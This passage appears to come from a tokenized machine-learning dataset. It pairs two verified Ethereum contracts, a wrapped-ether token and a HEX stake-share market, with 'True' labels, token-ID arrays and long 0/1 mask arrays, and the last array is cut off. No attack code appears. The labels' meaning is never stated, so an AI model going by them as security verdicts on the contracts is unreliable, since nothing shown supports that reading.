0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
pragma solidity =0.8.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); }
function sub(uint a, uint b) internal pure returns (uint c) { require(a >= b); c = a - b; }
function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); }
function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; }
}
contract NBU_WETH {
using SafeMath for uint;
string public name = "Nimbus Wrapped Ether";
string public symbol = "NWETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
receive() payable external {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] = balanceOf[msg.sender].add(msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad);
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(2 ** 256-1 )) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] = balanceOf[src].sub(wad);
balanceOf[dst] = balanceOf[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
2676,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1022,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1037,
1028,
1027,
1038,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1039,
1027,
1037,
1013,
1038,
1025,
1065,
1065,
3206,
1050,
8569,
1035,
4954,
2232,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
1025,
5164,
2270,
2171,
1027,
1000,
9152,
14905,
2271,
5058,
28855,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
22064,
11031,
1000,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
2724,
6226,
1006,
4769,
25331,
5034,
2278,
1010,
4769,
25331,
3124,
1010,
21318,
3372,
11333,
2094,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
5034,
2278,
1010,
4769,
25331,
16233,
2102,
1010,
21318,
3372,
11333,
2094,
1007,
1025,
2724,
12816,
1006,
4769,
25331,
16233,
2102,
1010,
21318,
3372,
11333,
2094,
1007,
1025,
2724,
10534,
1006,
4769,
25331,
5034,
2278,
1010,
21318,
3372,
11333,
2094,
1007,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
1007,
2270,
21447,
1025,
4374,
1006,
1007,
3477,
3085,
6327,
1063,
12816,
1006,
1007,
1025,
1065,
3853,
12816,
1006,
1007,
2270,
3477,
3085,
1063,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1012,
5587,
1006,
5796,
2290,
1012,
3643,
1007,
1025,
12495,
2102,
12816,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
5796,
2290,
1012,
3643,
1007,
1025,
1065,
3853,
10632,
1006,
21318,
3372,
11333,
2094,
1007,
2270,
1063,
5478,
1006,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
11333,
2094,
1007,
1025,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1012,
4942,
1006,
11333,
2094,
1007,
1025,
3477,
3085,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1012,
4651,
1006,
11333,
2094,
1007,
1025,
12495,
2102,
10534,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
11333,
2094,
1007,
1025,
1065,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4769,
1006,
2023,
1007,
1012,
5703,
1025,
1065,
3853,
14300,
1006,
4769,
3124,
1010,
21318,
3372,
11333,
2094,
1007,
2270,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = (type(uint256).max - denominator + 1) & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract MinterReceiver is ERC165 {
function onSharesMinted(
uint40 stakeId,
address supplier,
uint72 stakedHearts,
uint72 stakeShares
) external virtual;
function onEarningsMinted(uint40 stakeId, uint72 heartsEarned)
external
virtual;
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(MinterReceiver).interfaceId ||
super.supportsInterface(interfaceId);
}
}
contract ShareMarket is Ownable, MinterReceiver {
IERC20 public immutable hexContract;
address public immutable minterContract;
uint256 public buyerFee = 10;
uint256 private constant FEE_SCALE = 1000;
struct ShareOrder {
uint40 stakeId;
uint72 sharesPurchased;
address shareReceiver;
}
struct ShareListing {
uint8 buyerFee;
uint72 heartsStaked;
uint72 sharesTotal;
uint72 sharesAvailable;
uint72 heartsEarned;
uint72 supplierHeartsOwed;
address supplier;
mapping(address => uint72) shareOwners;
}
mapping(uint40 => ShareListing) public shareListings;
event BuyerFeeUpdate(uint8 oldFee, uint8 newFee);
event AddListing(
uint40 indexed stakeId,
address indexed supplier,
uint72 shares
);
event SharesUpdate(
uint40 indexed stakeId,
address indexed updater,
uint72 sharesAvailable
);
event AddEarnings(uint40 indexed stakeId, uint72 heartsEarned);
event BuyShares(
uint40 indexed stakeId,
address indexed owner,
uint72 sharesPurchased,
uint72 sharesOwned
);
event ClaimEarnings(
uint40 indexed stakeId,
address indexed claimer,
uint256 heartsClaimed
);
event SupplierWithdraw(
uint40 indexed stakeId,
address indexed supplier,
uint72 heartsWithdrawn
);
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
constructor(IERC20 _hex, address _minter) {
hexContract = _hex;
minterContract = _minter;
}
function updateBuyerFee(uint8 newBuyerFee) external onlyOwner {
emit BuyerFeeUpdate(uint8(buyerFee), newBuyerFee);
buyerFee = uint256(newBuyerFee);
}
function listingDetails(uint40 stakeId)
public
view
returns (
uint72 hearts,
uint72 shares,
uint72 sharesAvailable
)
{
ShareListing storage listing = shareListings[stakeId];
hearts = listing.heartsStaked;
shares = _marketShares(listing.sharesTotal, listing.buyerFee);
sharesAvailable = listing.sharesAvailable;
}
function sharesOwned(uint40 stakeId, address owner)
public
view
returns (uint72)
{
return shareListings[stakeId].shareOwners[owner];
}
function _supplierShares(uint72 sharesTotal, uint256 fee)
private
pure
returns (uint72)
{
return uint72(FullMath.mulDiv(sharesTotal, fee, FEE_SCALE));
}
function _marketShares(uint72 sharesTotal, uint256 fee)
private
pure
returns (uint72)
{
return sharesTotal - _supplierShares(sharesTotal, fee);
}
function onSharesMinted(
uint40 stakeId,
address supplier,
uint72 stakedHearts,
uint72 stakeShares
) external override {
require(msg.sender == minterContract, "CALLER_NOT_MINTER");
uint72 supplierShares = _supplierShares(stakeShares, buyerFee);
uint72 marketShares = _marketShares(stakeShares, buyerFee);
ShareListing storage listing = shareListings[stakeId];
listing.buyerFee = uint8(buyerFee);
listing.heartsStaked = stakedHearts;
listing.sharesTotal = stakeShares;
listing.sharesAvailable = marketShares;
listing.supplier = supplier;
emit AddListing(stakeId, supplier, marketShares);
listing.shareOwners[supplier] = supplierShares;
emit BuyShares(stakeId, supplier, 0, supplierShares);
}
function onEarningsMinted(uint40 stakeId, uint72 heartsEarned)
external
override
{
require(msg.sender == minterContract, "CALLER_NOT_MINTER");
shareListings[stakeId].heartsEarned = heartsEarned;
emit AddEarnings(stakeId, heartsEarned);
}
function _buyShares(
uint40 stakeId,
address shareReceiver,
uint72 sharesPurchased
) private returns (uint72 heartsOwed) {
require(sharesPurchased != 0, "INSUFFICIENT_SHARES_PURCHASED");
ShareListing storage listing = shareListings[stakeId];
require(
sharesPurchased <= listing.sharesAvailable,
"INSUFFICIENT_SHARES_AVAILABLE"
);
heartsOwed = uint72(
FullMath.mulDivRoundingUp(
sharesPurchased,
listing.heartsStaked,
_marketShares(listing.sharesTotal, listing.buyerFee)
)
);
require(heartsOwed != 0, "INSUFFICIENT_HEARTS_INPUT");
listing.sharesAvailable -= sharesPurchased;
emit SharesUpdate(stakeId, msg.sender, listing.sharesAvailable);
uint72 newSharesOwned =
listing.shareOwners[shareReceiver] + sharesPurchased;
listing.shareOwners[shareReceiver] = newSharesOwned;
listing.supplierHeartsOwed += heartsOwed;
emit BuyShares(stakeId, shareReceiver, sharesPurchased, newSharesOwned);
return heartsOwed;
}
function multiBuyShares(ShareOrder[] memory orders) external lock {
uint256 orderCount = orders.length;
require(orderCount <= 30, "EXCEEDED_ORDER_LIMIT");
uint256 totalHeartsOwed;
for (uint256 i = 0; i < orderCount; i++) {
ShareOrder memory order = orders[i];
totalHeartsOwed += _buyShares(
order.stakeId,
order.shareReceiver,
order.sharesPurchased
);
}
hexContract.transferFrom(msg.sender, address(this), totalHeartsOwed);
}
function buyShares(
uint40 stakeId,
address shareReceiver,
uint72 sharesPurchased
) external lock {
uint72 heartsOwed = _buyShares(stakeId, shareReceiver, sharesPurchased);
hexContract.transferFrom(msg.sender, address(this), heartsOwed);
}
function claimEarnings(uint40 stakeId) external lock {
ShareListing storage listing = shareListings[stakeId];
require(listing.heartsEarned != 0, "SHARES_NOT_MATURE");
uint72 ownedShares = listing.shareOwners[msg.sender];
if (msg.sender == listing.supplier) {
ownedShares += listing.sharesAvailable;
listing.sharesAvailable = 0;
emit SharesUpdate(stakeId, msg.sender, 0);
}
uint256 heartsOwed =
FullMath.mulDiv(
listing.heartsEarned,
ownedShares,
listing.sharesTotal
);
require(heartsOwed != 0, "NO_HEARTS_CLAIMABLE");
listing.shareOwners[msg.sender] = 0;
hexContract.transfer(msg.sender, heartsOwed);
emit ClaimEarnings(stakeId, msg.sender, heartsOwed);
}
function supplierWithdraw(uint40 stakeId) external lock {
ShareListing storage listing = shareListings[stakeId];
require(msg.sender == listing.supplier, "SENDER_NOT_SUPPLIER");
uint72 heartsOwed = listing.supplierHeartsOwed;
require(heartsOwed != 0, "NO_HEARTS_OWED");
listing.supplierHeartsOwed = 0;
hexContract.transfer(msg.sender, heartsOwed);
emit SupplierWithdraw(stakeId, msg.sender, heartsOwed);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2656,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1017,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
